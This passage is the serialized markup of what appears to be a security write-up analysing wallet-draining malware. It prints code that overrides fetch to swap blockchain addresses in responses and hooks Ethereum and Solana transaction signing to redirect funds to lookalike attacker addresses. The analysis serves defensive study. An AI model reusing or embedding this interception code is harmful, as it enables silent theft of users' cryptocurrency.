\"eth_accounts\"\n",{"type":23,"tag":481,"props":94949,"children":94950},{"class":483,"line":678},[94951],{"type":23,"tag":481,"props":94952,"children":94953},{"style":525},[94954],{"type":28,"value":29772},{"type":23,"tag":481,"props":94956,"children":94957},{"class":483,"line":784},[94958,94962,94966,94971,94975,94979,94983,94987],{"type":23,"tag":481,"props":94959,"children":94960},{"style":535},[94961],{"type":28,"value":9766},{"type":23,"tag":481,"props":94963,"children":94964},{"style":525},[94965],{"type":28,"value":578},{"type":23,"tag":481,"props":94967,"children":94968},{"style":508},[94969],{"type":28,"value":94970},"_0x124ed3",{"type":23,"tag":481,"props":94972,"children":94973},{"style":525},[94974],{"type":28,"value":199},{"type":23,"tag":481,"props":94976,"children":94977},{"style":508},[94978],{"type":28,"value":5983},{"type":23,"tag":481,"props":94980,"children":94981},{"style":514},[94982],{"type":28,"value":11682},{"type":23,"tag":481,"props":94984,"children":94985},{"style":551},[94986],{"type":28,"value":554},{"type":23,"tag":481,"props":94988,"children":94989},{"style":525},[94990],{"type":28,"value":12292},{"type":23,"tag":481,"props":94992,"children":94993},{"class":483,"line":812},[94994,94999],{"type":23,"tag":481,"props":94995,"children":94996},{"style":610},[94997],{"type":28,"value":94998}," runmask",{"type":23,"tag":481,"props":95000,"children":95001},{"style":525},[95002],{"type":28,"value":1201},{"type":23,"tag":481,"props":95004,"children":95005},{"class":483,"line":825},[95006,95010,95014,95019,95023,95027],{"type":23,"tag":481,"props":95007,"children":95008},{"style":535},[95009],{"type":28,"value":36805},{"type":23,"tag":481,"props":95011,"children":95012},{"style":525},[95013],{"type":28,"value":578},{"type":23,"tag":481,"props":95015,"children":95016},{"style":508},[95017],{"type":28,"value":95018},"rund",{"type":23,"tag":481,"props":95020,"children":95021},{"style":514},[95022],{"type":28,"value":61915},{"type":23,"tag":481,"props":95024,"children":95025},{"style":551},[95026],{"type":28,"value":2072},{"type":23,"tag":481,"props":95028,"children":95029},{"style":525},[95030],{"type":28,"value":12292},{"type":23,"tag":481,"props":95032,"children":95033},{"class":483,"line":843},[95034,95039,95043,95047],{"type":23,"tag":481,"props":95035,"children":95036},{"style":508},[95037],{"type":28,"value":95038}," rund",{"type":23,"tag":481,"props":95040,"children":95041},{"style":514},[95042],{"type":28,"value":517},{"type":23,"tag":481,"props":95044,"children":95045},{"style":551},[95046],{"type":28,"value":2072},{"type":23,"tag":481,"props":95048,"children":95049},{"style":525},[95050],{"type":28,"value":528},{"type":23,"tag":481,"props":95052,"children":95053},{"class":483,"line":864},[95054,95059,95063,95067],{"type":23,"tag":481,"props":95055,"children":95056},{"style":508},[95057],{"type":28,"value":95058}," neth",{"type":23,"tag":481,"props":95060,"children":95061},{"style":514},[95062],{"type":28,"value":517},{"type":23,"tag":481,"props":95064,"children":95065},{"style":551},[95066],{"type":28,"value":2072},{"type":23,"tag":481,"props":95068,"children":95069},{"style":525},[95070],{"type":28,"value":528},{"type":23,"tag":481,"props":95072,"children":95073},{"class":483,"line":873},[95074,95079],{"type":23,"tag":481,"props":95075,"children":95076},{"style":610},[95077],{"type":28,"value":95078}," newdlocal",{"type":23,"tag":481,"props":95080,"children":95081},{"style":525},[95082],{"type":28,"value":1201},{"type":23,"tag":481,"props":95084,"children":95085},{"class":483,"line":1125},[95086],{"type":23,"tag":481,"props":95087,"children":95088},{"style":525},[95089],{"type":28,"value":10151},{"type":23,"tag":481,"props":95091,"children":95092},{"class":483,"line":1142},[95093,95097,95101,95105,95109,95113,95117,95121],{"type":23,"tag":481,"props":95094,"children":95095},{"style":525},[95096],{"type":28,"value":13269},{"type":23,"tag":481,"props":95098,"children":95099},{"style":535},[95100],{"type":28,"value":836},{"type":23,"tag":481,"props":95102,"children":95103},{"style":535},[95104],{"type":28,"value":13278},{"type":23,"tag":481,"props":95106,"children":95107},{"style":525},[95108],{"type":28,"value":578},{"type":23,"tag":481,"props":95110,"children":95111},{"style":508},[95112],{"type":28,"value":95018},{"type":23,"tag":481,"props":95114,"children":95115},{"style":514},[95116],{"type":28,"value":61915},{"type":23,"tag":481,"props":95118,"children":95119},{"style":551},[95120],{"type":28,"value":2072},{"type":23,"tag":481,"props":95122,"children":95123},{"style":525},[95124],{"type":28,"value":12292},{"type":23,"tag":481,"props":95126,"children":95127},{"class":483,"line":1159},[95128,95133,95137,95141],{"type":23,"tag":481,"props":95129,"children":95130},{"style":508},[95131],{"type":28,"value":95132}," rund",{"type":23,"tag":481,"props":95134,"children":95135},{"style":514},[95136],{"type":28,"value":517},{"type":23,"tag":481,"props":95138,"children":95139},{"style":551},[95140],{"type":28,"value":2072},{"type":23,"tag":481,"props":95142,"children":95143},{"style":525},[95144],{"type":28,"value":528},{"type":23,"tag":481,"props":95146,"children":95147},{"class":483,"line":1172},[95148,95153],{"type":23,"tag":481,"props":95149,"children":95150},{"style":610},[95151],{"type":28,"value":95152}," newdlocal",{"type":23,"tag":481,"props":95154,"children":95155},{"style":525},[95156],{"type":28,"value":1201},{"type":23,"tag":481,"props":95158,"children":95159},{"class":483,"line":1181},[95160],{"type":23,"tag":481,"props":95161,"children":95162},{"style":525},[95163],{"type":28,"value":879},{"type":23,"tag":481,"props":95165,"children":95166},{"class":483,"line":1204},[95167],{"type":23,"tag":481,"props":95168,"children":95169},{"style":525},[95170],{"type":28,"value":3348},{"type":23,"tag":481,"props":95172,"children":95173},{"class":483,"line":1213},[95174],{"type":23,"tag":481,"props":95175,"children":95176},{"style":525},[95177],{"type":28,"value":1443},{"type":23,"tag":73,"props":95179,"children":95180},{"start":351},[95181],{"type":23,"tag":77,"props":95182,"children":95183},{},[95184],{"type":28,"value":95185},"Intercept HTTP requests/responses and replace blockchain addresses with the attacker's wallet: (modified code for better understanding)",{"type":23,"tag":435,"props":95187,"children":95189},{"code":95188,"language":28880,"meta":7,"className":28878,"style":7},"fetch = async function (...args) {\n const originalResponse = await originalFetch.call(this, ...args);\n const contentType = originalResponse.headers.get('Content-Type') || '';\n let data;\n if (contentType.includes('application/json')) {\n data = await originalResponse.clone().json();\n } else {\n data = await originalResponse.clone().text();\n }\n const processedData = replaceAddresses(data);\n const finalResponseText =\n typeof processedData === 'string' ? processedData : JSON.stringify(processedData);\n const finalResponse = new Response(finalResponseText, {\n status: originalResponse.status,\n statusText: originalResponse.statusText,\n headers: originalResponse.headers,\n });\n return finalResponse;\n};\n",[95190],{"type":23,"tag":64,"props":95191,"children":95192},{"__ignoreMap":7},[95193,95228,95285,95347,95362,95399,95438,95453,95492,95499,95532,95548,95607,95645,95670,95695,95719,95727,95742],{"type":23,"tag":481,"props":95194,"children":95195},{"class":483,"line":484},[95196,95200,95204,95208,95212,95216,95220,95224],{"type":23,"tag":481,"props":95197,"children":95198},{"style":610},[95199],{"type":28,"value":31611},{"type":23,"tag":481,"props":95201,"children":95202},{"style":514},[95203],{"type":28,"value":517},{"type":23,"tag":481,"props":95205,"children":95206},{"style":497},[95207],{"type":28,"value":33883},{"type":23,"tag":481,"props":95209,"children":95210},{"style":497},[95211],{"type":28,"value":35732},{"type":23,"tag":481,"props":95213,"children":95214},{"style":525},[95215],{"type":28,"value":578},{"type":23,"tag":481,"props":95217,"children":95218},{"style":514},[95219],{"type":28,"value":7074},{"type":23,"tag":481,"props":95221,"children":95222},{"style":508},[95223],{"type":28,"value":35746},{"type":23,"tag":481,"props":95225,"children":95226},{"style":525},[95227],{"type":28,"value":12292},{"type":23,"tag":481,"props":95229,"children":95230},{"class":483,"line":351},[95231,95235,95240,95244,95248,95253,95257,95261,95265,95269,95273,95277,95281],{"type":23,"tag":481,"props":95232,"children":95233},{"style":497},[95234],{"type":28,"value":33706},{"type":23,"tag":481,"props":95236,"children":95237},{"style":508},[95238],{"type":28,"value":95239}," originalResponse",{"type":23,"tag":481,"props":95241,"children":95242},{"style":514},[95243],{"type":28,"value":517},{"type":23,"tag":481,"props":95245,"children":95246},{"style":535},[95247],{"type":28,"value":33729},{"type":23,"tag":481,"props":95249,"children":95250},{"style":508},[95251],{"type":28,"value":95252}," originalFetch",{"type":23,"tag":481,"props":95254,"children":95255},{"style":525},[95256],{"type":28,"value":199},{"type":23,"tag":481,"props":95258,"children":95259},{"style":610},[95260],{"type":28,"value":35814},{"type":23,"tag":481,"props":95262,"children":95263},{"style":525},[95264],{"type":28,"value":618},{"type":23,"tag":481,"props":95266,"children":95267},{"style":497},[95268],{"type":28,"value":15186},{"type":23,"tag":481,"props":95270,"children":95271},{"style":525},[95272],{"type":28,"value":588},{"type":23,"tag":481,"props":95274,"children":95275},{"style":514},[95276],{"type":28,"value":7074},{"type":23,"tag":481,"props":95278,"children":95279},{"style":508},[95280],{"type":28,"value":35746},{"type":23,"tag":481,"props":95282,"children":95283},{"style":525},[95284],{"type":28,"value":1366},{"type":23,"tag":481,"props":95286,"children":95287},{"class":483,"line":531},[95288,95292,95297,95301,95305,95309,95314,95318,95322,95326,95331,95335,95339,95343],{"type":23,"tag":481,"props":95289,"children":95290},{"style":497},[95291],{"type":28,"value":33706},{"type":23,"tag":481,"props":95293,"children":95294},{"style":508},[95295],{"type":28,"value":95296}," contentType",{"type":23,"tag":481,"props":95298,"children":95299},{"style":514},[95300],{"type":28,"value":517},{"type":23,"tag":481,"props":95302,"children":95303},{"style":508},[95304],{"type":28,"value":95239},{"type":23,"tag":481,"props":95306,"children":95307},{"style":525},[95308],{"type":28,"value":199},{"type":23,"tag":481,"props":95310,"children":95311},{"style":508},[95312],{"type":28,"value":95313},"headers",{"type":23,"tag":481,"props":95315,"children":95316},{"style":525},[95317],{"type":28,"value":199},{"type":23,"tag":481,"props":95319,"children":95320},{"style":610},[95321],{"type":28,"value":13842},{"type":23,"tag":481,"props":95323,"children":95324},{"style":525},[95325],{"type":28,"value":618},{"type":23,"tag":481,"props":95327,"children":95328},{"style":1805},[95329],{"type":28,"value":95330},"'Content-Type'",{"type":23,"tag":481,"props":95332,"children":95333},{"style":525},[95334],{"type":28,"value":598},{"type":23,"tag":481,"props":95336,"children":95337},{"style":514},[95338],{"type":28,"value":19917},{"type":23,"tag":481,"props":95340,"children":95341},{"style":1805},[95342],{"type":28,"value":29354},{"type":23,"tag":481,"props":95344,"children":95345},{"style":525},[95346],{"type":28,"value":528},{"type":23,"tag":481,"props":95348,"children":95349},{"class":483,"line":567},[95350,95354,95358],{"type":23,"tag":481,"props":95351,"children":95352},{"style":497},[95353],{"type":28,"value":5334},{"type":23,"tag":481,"props":95355,"children":95356},{"style":508},[95357],{"type":28,"value":12593},{"type":23,"tag":481,"props":95359,"children":95360},{"style":525},[95361],{"type":28,"value":528},{"type":23,"tag":481,"props":95363,"children":95364},{"class":483,"line":678},[95365,95369,95373,95378,95382,95386,95390,95395],{"type":23,"tag":481,"props":95366,"children":95367},{"style":535},[95368],{"type":28,"value":28909},{"type":23,"tag":481,"props":95370,"children":95371},{"style":525},[95372],{"type":28,"value":578},{"type":23,"tag":481,"props":95374,"children":95375},{"style":508},[95376],{"type":28,"value":95377},"contentType",{"type":23,"tag":481,"props":95379,"children":95380},{"style":525},[95381],{"type":28,"value":199},{"type":23,"tag":481,"props":95383,"children":95384},{"style":610},[95385],{"type":28,"value":32698},{"type":23,"tag":481,"props":95387,"children":95388},{"style":525},[95389],{"type":28,"value":618},{"type":23,"tag":481,"props":95391,"children":95392},{"style":1805},[95393],{"type":28,"value":95394},"'application/json'",{"type":23,"tag":481,"props":95396,"children":95397},{"style":525},[95398],{"type":28,"value":32711},{"type":23,"tag":481,"props":95400,"children":95401},{"class":483,"line":784},[95402,95406,95410,95414,95418,95422,95426,95430,95434],{"type":23,"tag":481,"props":95403,"children":95404},{"style":508},[95405],{"type":28,"value":40752},{"type":23,"tag":481,"props":95407,"children":95408},{"style":514},[95409],{"type":28,"value":517},{"type":23,"tag":481,"props":95411,"children":95412},{"style":535},[95413],{"type":28,"value":33729},{"type":23,"tag":481,"props":95415,"children":95416},{"style":508},[95417],{"type":28,"value":95239},{"type":23,"tag":481,"props":95419,"children":95420},{"style":525},[95421],{"type":28,"value":199},{"type":23,"tag":481,"props":95423,"children":95424},{"style":610},[95425],{"type":28,"value":12909},{"type":23,"tag":481,"props":95427,"children":95428},{"style":525},[95429],{"type":28,"value":27682},{"type":23,"tag":481,"props":95431,"children":95432},{"style":610},[95433],{"type":28,"value":31514},{"type":23,"tag":481,"props":95435,"children":95436},{"style":525},[95437],{"type":28,"value":1201},{"type":23,"tag":481,"props":95439,"children":95440},{"class":483,"line":812},[95441,95445,95449],{"type":23,"tag":481,"props":95442,"children":95443},{"style":525},[95444],{"type":28,"value":28983},{"type":23,"tag":481,"props":95446,"children":95447},{"style":535},[95448],{"type":28,"value":836},{"type":23,"tag":481,"props":95450,"children":95451},{"style":525},[95452],{"type":28,"value":809},{"type":23,"tag":481,"props":95454,"children":95455},{"class":483,"line":825},[95456,95460,95464,95468,95472,95476,95480,95484,95488],{"type":23,"tag":481,"props":95457,"children":95458},{"style":508},[95459],{"type":28,"value":40752},{"type":23,"tag":481,"props":95461,"children":95462},{"style":514},[95463],{"type":28,"value":517},{"type":23,"tag":481,"props":95465,"children":95466},{"style":535},[95467],{"type":28,"value":33729},{"type":23,"tag":481,"props":95469,"children":95470},{"style":508},[95471],{"type":28,"value":95239},{"type":23,"tag":481,"props":95473,"children":95474},{"style":525},[95475],{"type":28,"value":199},{"type":23,"tag":481,"props":95477,"children":95478},{"style":610},[95479],{"type":28,"value":12909},{"type":23,"tag":481,"props":95481,"children":95482},{"style":525},[95483],{"type":28,"value":27682},{"type":23,"tag":481,"props":95485,"children":95486},{"style":610},[95487],{"type":28,"value":28},{"type":23,"tag":481,"props":95489,"children":95490},{"style":525},[95491],{"type":28,"value":1201},{"type":23,"tag":481,"props":95493,"children":95494},{"class":483,"line":843},[95495],{"type":23,"tag":481,"props":95496,"children":95497},{"style":525},[95498],{"type":28,"value":3348},{"type":23,"tag":481,"props":95500,"children":95501},{"class":483,"line":864},[95502,95506,95511,95515,95520,95524,95528],{"type":23,"tag":481,"props":95503,"children":95504},{"style":497},[95505],{"type":28,"value":33706},{"type":23,"tag":481,"props":95507,"children":95508},{"style":508},[95509],{"type":28,"value":95510}," processedData",{"type":23,"tag":481,"props":95512,"children":95513},{"style":514},[95514],{"type":28,"value":517},{"type":23,"tag":481,"props":95516,"children":95517},{"style":610},[95518],{"type":28,"value":95519}," replaceAddresses",{"type":23,"tag":481,"props":95521,"children":95522},{"style":525},[95523],{"type":28,"value":618},{"type":23,"tag":481,"props":95525,"children":95526},{"style":508},[95527],{"type":28,"value":1237},{"type":23,"tag":481,"props":95529,"children":95530},{"style":525},[95531],{"type":28,"value":1366},{"type":23,"tag":481,"props":95533,"children":95534},{"class":483,"line":873},[95535,95539,95544],{"type":23,"tag":481,"props":95536,"children":95537},{"style":497},[95538],{"type":28,"value":33706},{"type":23,"tag":481,"props":95540,"children":95541},{"style":508},[95542],{"type":28,"value":95543}," finalResponseText",{"type":23,"tag":481,"props":95545,"children":95546},{"style":514},[95547],{"type":28,"value":33373},{"type":23,"tag":481,"props":95549,"children":95550},{"class":483,"line":1125},[95551,95556,95560,95564,95569,95574,95578,95582,95586,95590,95594,95598,95603],{"type":23,"tag":481,"props":95552,"children":95553},{"style":497},[95554],{"type":28,"value":95555}," typeof",{"type":23,"tag":481,"props":95557,"children":95558},{"style":508},[95559],{"type":28,"value":95510},{"type":23,"tag":481,"props":95561,"children":95562},{"style":514},[95563],{"type":28,"value":28937},{"type":23,"tag":481,"props":95565,"children":95566},{"style":1805},[95567],{"type":28,"value":95568}," 'string'",{"type":23,"tag":481,"props":95570,"children":95571},{"style":514},[95572],{"type":28,"value":95573}," ?",{"type":23,"tag":481,"props":95575,"children":95576},{"style":508},[95577],{"type":28,"value":95510},{"type":23,"tag":481,"props":95579,"children":95580},{"style":514},[95581],{"type":28,"value":32633},{"type":23,"tag":481,"props":95583,"children":95584},{"style":508},[95585],{"type":28,"value":35046},{"type":23,"tag":481,"props":95587,"children":95588},{"style":525},[95589],{"type":28,"value":199},{"type":23,"tag":481,"props":95591,"children":95592},{"style":610},[95593],{"type":28,"value":36751},{"type":23,"tag":481,"props":95595,"children":95596},{"style":525},[95597],{"type":28,"value":618},{"type":23,"tag":481,"props":95599,"children":95600},{"style":508},[95601],{"type":28,"value":95602},"processedData",{"type":23,"tag":481,"props":95604,"children":95605},{"style":525},[95606],{"type":28,"value":1366},{"type":23,"tag":481,"props":95608,"children":95609},{"class":483,"line":1142},[95610,95614,95619,95623,95627,95632,95636,95641],{"type":23,"tag":481,"props":95611,"children":95612},{"style":497},[95613],{"type":28,"value":33706},{"type":23,"tag":481,"props":95615,"children":95616},{"style":508},[95617],{"type":28,"value":95618}," finalResponse",{"type":23,"tag":481,"props":95620,"children":95621},{"style":514},[95622],{"type":28,"value":517},{"type":23,"tag":481,"props":95624,"children":95625},{"style":497},[95626],{"type":28,"value":29448},{"type":23,"tag":481,"props":95628,"children":95629},{"style":610},[95630],{"type":28,"value":95631}," Response",{"type":23,"tag":481,"props":95633,"children":95634},{"style":525},[95635],{"type":28,"value":618},{"type":23,"tag":481,"props":95637,"children":95638},{"style":508},[95639],{"type":28,"value":95640},"finalResponseText",{"type":23,"tag":481,"props":95642,"children":95643},{"style":525},[95644],{"type":28,"value":46407},{"type":23,"tag":481,"props":95646,"children":95647},{"class":483,"line":1159},[95648,95653,95657,95661,95666],{"type":23,"tag":481,"props":95649,"children":95650},{"style":508},[95651],{"type":28,"value":95652}," status:",{"type":23,"tag":481,"props":95654,"children":95655},{"style":508},[95656],{"type":28,"value":95239},{"type":23,"tag":481,"props":95658,"children":95659},{"style":525},[95660],{"type":28,"value":199},{"type":23,"tag":481,"props":95662,"children":95663},{"style":508},[95664],{"type":28,"value":95665},"status",{"type":23,"tag":481,"props":95667,"children":95668},{"style":525},[95669],{"type":28,"value":1033},{"type":23,"tag":481,"props":95671,"children":95672},{"class":483,"line":1172},[95673,95678,95682,95686,95691],{"type":23,"tag":481,"props":95674,"children":95675},{"style":508},[95676],{"type":28,"value":95677}," statusText:",{"type":23,"tag":481,"props":95679,"children":95680},{"style":508},[95681],{"type":28,"value":95239},{"type":23,"tag":481,"props":95683,"children":95684},{"style":525},[95685],{"type":28,"value":199},{"type":23,"tag":481,"props":95687,"children":95688},{"style":508},[95689],{"type":28,"value":95690},"statusText",{"type":23,"tag":481,"props":95692,"children":95693},{"style":525},[95694],{"type":28,"value":1033},{"type":23,"tag":481,"props":95696,"children":95697},{"class":483,"line":1181},[95698,95703,95707,95711,95715],{"type":23,"tag":481,"props":95699,"children":95700},{"style":508},[95701],{"type":28,"value":95702}," headers:",{"type":23,"tag":481,"props":95704,"children":95705},{"style":508},[95706],{"type":28,"value":95239},{"type":23,"tag":481,"props":95708,"children":95709},{"style":525},[95710],{"type":28,"value":199},{"type":23,"tag":481,"props":95712,"children":95713},{"style":508},[95714],{"type":28,"value":95313},{"type":23,"tag":481,"props":95716,"children":95717},{"style":525},[95718],{"type":28,"value":1033},{"type":23,"tag":481,"props":95720,"children":95721},{"class":483,"line":1204},[95722],{"type":23,"tag":481,"props":95723,"children":95724},{"style":525},[95725],{"type":28,"value":95726}," });\n",{"type":23,"tag":481,"props":95728,"children":95729},{"class":483,"line":1213},[95730,95734,95738],{"type":23,"tag":481,"props":95731,"children":95732},{"style":535},[95733],{"type":28,"value":36717},{"type":23,"tag":481,"props":95735,"children":95736},{"style":508},[95737],{"type":28,"value":95618},{"type":23,"tag":481,"props":95739,"children":95740},{"style":525},[95741],{"type":28,"value":528},{"type":23,"tag":481,"props":95743,"children":95744},{"class":483,"line":1222},[95745],{"type":23,"tag":481,"props":95746,"children":95747},{"style":525},[95748],{"type":28,"value":14068},{"type":23,"tag":73,"props":95750,"children":95751},{"start":531},[95752],{"type":23,"tag":77,"props":95753,"children":95754},{},[95755],{"type":28,"value":95756},"The malware intercepted wallet requests and silently replaced the receiver address with the attacker address. Instead of a blunt substitution, it used the Levenshtein distance algorithm to pick a lookalike address, which made it harder for victims to notice funds being siphoned.",{"type":23,"tag":435,"props":95758,"children":95760},{"code":95759,"language":28880,"meta":7,"className":28878,"style":7},"if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {\n try {\n const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);\n _0x2c3d7e.params[0] = _0x39ad21;\n } catch (_0x226343) {}\n} else {\n if (\n (_0x2c3d7e.method === 'solana_signTransaction' ||\n _0x2c3d7e.method === 'solana_signAndSendTransaction') &&\n _0x2c3d7e.params &&\n _0x2c3d7e.params[0]\n ) {\n try {\n let _0x5ad975 = _0x2c3d7e.params[0];\n if (_0x5ad975.transaction) {\n _0x5ad975 = _0x5ad975.transaction;\n }\n const _0x5dbe63 = _0x1089ae(_0x5ad975, false);\n if (_0x2c3d7e.params[0].transaction) {\n _0x2c3d7e.params[0].transaction = _0x5dbe63;\n } else {\n _0x2c3d7e.params[0] = _0x5dbe63;\n }\n } catch (_0x4b99fd) {}\n }\n}\n",[95761],{"type":23,"tag":64,"props":95762,"children":95763},{"__ignoreMap":7},[95764,95843,95854,95911,95951,95976,95991,96002,96036,96069,96088,96115,96123,96134,96174,96203,96231,96238,96278,96321,96365,96380,96419,96426,96450,96457],{"type":23,"tag":481,"props":95765,"children":95766},{"class":483,"line":484},[95767,95771,95775,95780,95784,95788,95792,95797,95801,95806,95810,95815,95819,95823,95827,95831,95835,95839],{"type":23,"tag":481,"props":95768,"children":95769},{"style":535},[95770],{"type":28,"value":13069},{"type":23,"tag":481,"props":95772,"children":95773},{"style":525},[95774],{"type":28,"value":578},{"type":23,"tag":481,"props":95776,"children":95777},{"style":508},[95778],{"type":28,"value":95779},"_0x2c3d7e",{"type":23,"tag":481,"props":95781,"children":95782},{"style":525},[95783],{"type":28,"value":199},{"type":23,"tag":481,"props":95785,"children":95786},{"style":508},[95787],{"type":28,"value":35831},{"type":23,"tag":481,"props":95789,"children":95790},{"style":514},[95791],{"type":28,"value":28937},{"type":23,"tag":481,"props":95793,"children":95794},{"style":1805},[95795],{"type":28,"value":95796}," 'eth_sendTransaction'",{"type":23,"tag":481,"props":95798,"children":95799},{"style":514},[95800],{"type":28,"value":11673},{"type":23,"tag":481,"props":95802,"children":95803},{"style":508},[95804],{"type":28,"value":95805}," _0x2c3d7e",{"type":23,"tag":481,"props":95807,"children":95808},{"style":525},[95809],{"type":28,"value":199},{"type":23,"tag":481,"props":95811,"children":95812},{"style":508},[95813],{"type":28,"value":95814},"params",{"type":23,"tag":481,"props":95816,"children":95817},{"style":514},[95818],{"type":28,"value":11673},{"type":23,"tag":481,"props":95820,"children":95821},{"style":508},[95822],{"type":28,"value":95805},{"type":23,"tag":481,"props":95824,"children":95825},{"style":525},[95826],{"type":28,"value":199},{"type":23,"tag":481,"props":95828,"children":95829},{"style":508},[95830],{"type":28,"value":95814},{"type":23,"tag":481,"props":95832,"children":95833},{"style":525},[95834],{"type":28,"value":1269},{"type":23,"tag":481,"props":95836,"children":95837},{"style":551},[95838],{"type":28,"value":1568},{"type":23,"tag":481,"props":95840,"children":95841},{"style":525},[95842],{"type":28,"value":38143},{"type":23,"tag":481,"props":95844,"children":95845},{"class":483,"line":351},[95846,95850],{"type":23,"tag":481,"props":95847,"children":95848},{"style":535},[95849],{"type":28,"value":94882},{"type":23,"tag":481,"props":95851,"children":95852},{"style":525},[95853],{"type":28,"value":809},{"type":23,"tag":481,"props":95855,"children":95856},{"class":483,"line":531},[95857,95861,95866,95870,95875,95879,95883,95887,95891,95895,95899,95903,95907],{"type":23,"tag":481,"props":95858,"children":95859},{"style":497},[95860],{"type":28,"value":49194},{"type":23,"tag":481,"props":95862,"children":95863},{"style":508},[95864],{"type":28,"value":95865}," _0x39ad21",{"type":23,"tag":481,"props":95867,"children":95868},{"style":514},[95869],{"type":28,"value":517},{"type":23,"tag":481,"props":95871,"children":95872},{"style":610},[95873],{"type":28,"value":95874}," _0x1089ae",{"type":23,"tag":481,"props":95876,"children":95877},{"style":525},[95878],{"type":28,"value":618},{"type":23,"tag":481,"props":95880,"children":95881},{"style":508},[95882],{"type":28,"value":95779},{"type":23,"tag":481,"props":95884,"children":95885},{"style":525},[95886],{"type":28,"value":199},{"type":23,"tag":481,"props":95888,"children":95889},{"style":508},[95890],{"type":28,"value":95814},{"type":23,"tag":481,"props":95892,"children":95893},{"style":525},[95894],{"type":28,"value":1269},{"type":23,"tag":481,"props":95896,"children":95897},{"style":551},[95898],{"type":28,"value":1568},{"type":23,"tag":481,"props":95900,"children":95901},{"style":525},[95902],{"type":28,"value":20559},{"type":23,"tag":481,"props":95904,"children":95905},{"style":497},[95906],{"type":28,"value":1539},{"type":23,"tag":481,"props":95908,"children":95909},{"style":525},[95910],{"type":28,"value":1366},{"type":23,"tag":481,"props":95912,"children":95913},{"class":483,"line":567},[95914,95919,95923,95927,95931,95935,95939,95943,95947],{"type":23,"tag":481,"props":95915,"children":95916},{"style":508},[95917],{"type":28,"value":95918}," _0x2c3d7e",{"type":23,"tag":481,"props":95920,"children":95921},{"style":525},[95922],{"type":28,"value":199},{"type":23,"tag":481,"props":95924,"children":95925},{"style":508},[95926],{"type":28,"value":95814},{"type":23,"tag":481,"props":95928,"children":95929},{"style":525},[95930],{"type":28,"value":1269},{"type":23,"tag":481,"props":95932,"children":95933},{"style":551},[95934],{"type":28,"value":1568},{"type":23,"tag":481,"props":95936,"children":95937},{"style":525},[95938],{"type":28,"value":6141},{"type":23,"tag":481,"props":95940,"children":95941},{"style":514},[95942],{"type":28,"value":603},{"type":23,"tag":481,"props":95944,"children":95945},{"style":508},[95946],{"type":28,"value":95865},{"type":23,"tag":481,"props":95948,"children":95949},{"style":525},[95950],{"type":28,"value":528},{"type":23,"tag":481,"props":95952,"children":95953},{"class":483,"line":678},[95954,95958,95962,95966,95971],{"type":23,"tag":481,"props":95955,"children":95956},{"style":525},[95957],{"type":28,"value":28983},{"type":23,"tag":481,"props":95959,"children":95960},{"style":535},[95961],{"type":28,"value":45936},{"type":23,"tag":481,"props":95963,"children":95964},{"style":525},[95965],{"type":28,"value":578},{"type":23,"tag":481,"props":95967,"children":95968},{"style":508},[95969],{"type":28,"value":95970},"_0x226343",{"type":23,"tag":481,"props":95972,"children":95973},{"style":525},[95974],{"type":28,"value":95975},") {}\n",{"type":23,"tag":481,"props":95977,"children":95978},{"class":483,"line":784},[95979,95983,95987],{"type":23,"tag":481,"props":95980,"children":95981},{"style":525},[95982],{"type":28,"value":44398},{"type":23,"tag":481,"props":95984,"children":95985},{"style":535},[95986],{"type":28,"value":836},{"type":23,"tag":481,"props":95988,"children":95989},{"style":525},[95990],{"type":28,"value":809},{"type":23,"tag":481,"props":95992,"children":95993},{"class":483,"line":812},[95994,95998],{"type":23,"tag":481,"props":95995,"children":95996},{"style":535},[95997],{"type":28,"value":28909},{"type":23,"tag":481,"props":95999,"children":96000},{"style":525},[96001],{"type":28,"value":76098},{"type":23,"tag":481,"props":96003,"children":96004},{"class":483,"line":825},[96005,96010,96014,96018,96022,96026,96031],{"type":23,"tag":481,"props":96006,"children":96007},{"style":525},[96008],{"type":28,"value":96009}," (",{"type":23,"tag":481,"props":96011,"children":96012},{"style":508},[96013],{"type":28,"value":95779},{"type":23,"tag":481,"props":96015,"children":96016},{"style":525},[96017],{"type":28,"value":199},{"type":23,"tag":481,"props":96019,"children":96020},{"style":508},[96021],{"type":28,"value":35831},{"type":23,"tag":481,"props":96023,"children":96024},{"style":514},[96025],{"type":28,"value":28937},{"type":23,"tag":481,"props":96027,"children":96028},{"style":1805},[96029],{"type":28,"value":96030}," 'solana_signTransaction'",{"type":23,"tag":481,"props":96032,"children":96033},{"style":514},[96034],{"type":28,"value":96035}," ||\n",{"type":23,"tag":481,"props":96037,"children":96038},{"class":483,"line":843},[96039,96044,96048,96052,96056,96061,96065],{"type":23,"tag":481,"props":96040,"children":96041},{"style":508},[96042],{"type":28,"value":96043}," _0x2c3d7e",{"type":23,"tag":481,"props":96045,"children":96046},{"style":525},[96047],{"type":28,"value":199},{"type":23,"tag":481,"props":96049,"children":96050},{"style":508},[96051],{"type":28,"value":35831},{"type":23,"tag":481,"props":96053,"children":96054},{"style":514},[96055],{"type":28,"value":28937},{"type":23,"tag":481,"props":96057,"children":96058},{"style":1805},[96059],{"type":28,"value":96060}," 'solana_signAndSendTransaction'",{"type":23,"tag":481,"props":96062,"children":96063},{"style":525},[96064],{"type":28,"value":598},{"type":23,"tag":481,"props":96066,"children":96067},{"style":514},[96068],{"type":28,"value":81347},{"type":23,"tag":481,"props":96070,"children":96071},{"class":483,"line":864},[96072,96076,96080,96084],{"type":23,"tag":481,"props":96073,"children":96074},{"style":508},[96075],{"type":28,"value":95918},{"type":23,"tag":481,"props":96077,"children":96078},{"style":525},[96079],{"type":28,"value":199},{"type":23,"tag":481,"props":96081,"children":96082},{"style":508},[96083],{"type":28,"value":95814},{"type":23,"tag":481,"props":96085,"children":96086},{"style":514},[96087],{"type":28,"value":50210},{"type":23,"tag":481,"props":96089,"children":96090},{"class":483,"line":873},[96091,96095,96099,96103,96107,96111],{"type":23,"tag":481,"props":96092,"children":96093},{"style":508},[96094],{"type":28,"value":95918},{"type":23,"tag":481,"props":96096,"children":96097},{"style":525},[96098],{"type":28,"value":199},{"type":23,"tag":481,"props":96100,"children":96101},{"style":508},[96102],{"type":28,"value":95814},{"type":23,"tag":481,"props":96104,"children":96105},{"style":525},[96106],{"type":28,"value":1269},{"type":23,"tag":481,"props":96108,"children":96109},{"style":551},[96110],{"type":28,"value":1568},{"type":23,"tag":481,"props":96112,"children":96113},{"style":525},[96114],{"type":28,"value":9259},{"type":23,"tag":481,"props":96116,"children":96117},{"class":483,"line":1125},[96118],{"type":23,"ta